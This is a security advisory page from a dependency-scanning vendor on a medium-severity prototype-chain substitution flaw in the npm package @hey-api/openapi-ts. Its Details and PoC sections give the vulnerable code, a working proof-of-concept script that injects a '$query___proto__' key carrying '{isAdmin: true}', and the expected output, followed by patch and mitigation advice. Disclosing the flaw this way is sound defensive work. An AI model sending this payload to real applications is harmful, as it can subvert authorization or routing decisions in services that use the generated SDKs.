Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
MEDIUM severity

GHSA-hhx9-57xq-r5rw — @hey-api/openapi-ts

MEDIUM

GHSA-hhx9-57xq-r5rw is a medium-severity (CVSS 4.8) CWE-1321 vulnerability in @hey-api/openapi-ts. A fix is available for @hey-api/openapi-ts — see the affected versions and patch details below.

@hey-api/openapi-ts's `buildClientParams` template: prototype chain substitution via unknown `$<slot>___proto__` key

Also known asCVE-2026-48819
Published
Jul 1, 2026
Updated
Sep 10, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 28, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-hhx9-57xq-r5rw.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs26th percentile — riskier than 26% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-hhx9-57xq-r5rw by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 380,066 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

93other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@hey-api/openapi-tsnpm
5.8Mdownloads / week

Description

Summary

dist/clients/core/params.ts in @hey-api/openapi-ts ships a runtime template that is copied verbatim into every generated SDK as params.gen.ts. When a caller passes an object argument containing an unknown key starting with a slot prefix ($body_, $headers_, $path_, $query_), the function strips the prefix and writes the remainder directly to that slot without validation. The key "$query___proto__" causes the returned params.query object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least 0.97.2.

Details

The vulnerable branch in dist/clients/core/params.ts:

const extra = extraPrefixes.find(([prefix]) => key.startsWith(prefix))
if (extra) {
  const [prefix, slot] = extra
  ;(params[slot] as Record<string, unknown>)[key.slice(prefix.length)] = value
}

This branch runs for any key that (1) is not registered in the field map and (2) starts with one of the four slot prefixes. When a caller passes "$query___proto__" as an extra key alongside a legitimate field, the key is not in the field map, key.startsWith("$query_") is true, and key.slice(7) produces "__proto__". The bracket-write params["query"]["__proto__"] = value invokes the __proto__ setter, which calls Object.setPrototypeOf(params.query, value).

Reachability. Every generated endpoint method that accepts an object argument passes it through buildClientParams. If the application forwards user-supplied request parameters to a generated client method — a common pattern in proxy servers, BFF layers, and API gateways — an attacker can include "$query___proto__" alongside a legitimate field (e.g. "q"). The legitimate field ensures stripEmptySlots does not remove the affected slot (it has at least one own key), so the poisoned params.query object is returned to the caller.

Concrete field config that hey-api generates for a GET endpoint with one query param q:

// generated by hey-api for: GET /search?q=<string>
buildClientParams([parameters], [{ args: [{ in: "query", key: "q" }] }])

A request { q: "hello", "$query___proto__": { isAdmin: true } } reaches this call with "q" going to the field map branch and "$query___proto__" falling through to extraPrefixes.

PoC

npm install @hey-api/[email protected]
cp node_modules/@hey-api/openapi-ts/dist/clients/core/params.ts ./params.ts
npx tsx poc.ts
# or: docker build -t heyapi-poc . && docker run --rm heyapi-poc

poc.ts:

import { buildClientParams } from "./params.ts";

// Generated fields config for GET /search?q=<string>
const generatedFields = [{ args: [{ in: "query" as const, key: "q" }] }];

// Attacker request: legitimate "q" plus injected "$query___proto__"
const result = buildClientParams(
  [{ q: "hello", "$query___proto__": { isAdmin: true } }],
  generatedFields
);

const q = result.query as any;
console.log(q.q);                           // "hello" — own property, normal
console.log(q.isAdmin);                     // true — inherited via prototype chain
console.log(Object.keys(q));               // ["q"] — own keys only
for (const k in result.query) console.log(k); // "q", "isAdmin"

Expected output:

[CONFIRMED] buildClientParams prototype substitution via $query___proto__ key
  Scenario: GET /search with fields [{ in:'query', key:'q' }]
  Attacker request: { q: 'hello', '$query___proto__': { isAdmin: true } }

  result.query.q         = hello
  result.query.isAdmin   = true  ← inherited, NOT own
  Object.keys(q)         = [ 'q' ]
  for..in keys           = q, isAdmin
  Object.getPrototypeOf  = {"isAdmin":true}

No sentinel key is needed. The legitimate field "q" keeps params.query alive through stripEmptySlots. reproduce.zip

Impact

The returned params.query object has its prototype chain substituted with the attacker-supplied value. Any downstream code that iterates it with for..in (e.g., when serializing query parameters for an outgoing HTTP request) will enumerate the injected keys alongside legitimate ones. Applications that check inherited properties on the params object for routing or authorization decisions are also affected.

Global Object.prototype is not modified — impact is limited to the returned slot object and its consumers.

Every npm package generated by @hey-api/openapi-ts carries this template. Downstream packages include @opencode-ai/sdk, @trigger.dev/sdk, and others. A fix in the template propagates to all of them on regeneration.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@hey-api/openapi-tsall versions0.97.3npm install @hey-api/openapi-ts@0.97.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @hey-api/openapi-ts, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @hey-api/openapi-ts to 0.97.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hhx9-57xq-r5rw is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

### Summary `dist/clients/core/params.ts` in `@hey-api/openapi-ts` ships a runtime template that is copied verbatim into every generated SDK as `params.gen.ts`. When a caller passes an object argument containing an unknown key starting with a slot prefix (`$body_`, `$headers_`, `$path_`, `$query_`), the function strips the prefix and writes the remainder directly to that slot without validation. The key `"$query___proto__"` causes the returned `params.query` object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least `0.9
O3 Security · Impact-Aware SCA

Is GHSA-hhx9-57xq-r5rw in your dependencies?

Find it across npm, including transitive dependencies.

GHSA-hhx9-57xq-r5rw: @hey-api/openapi-ts | O3 Security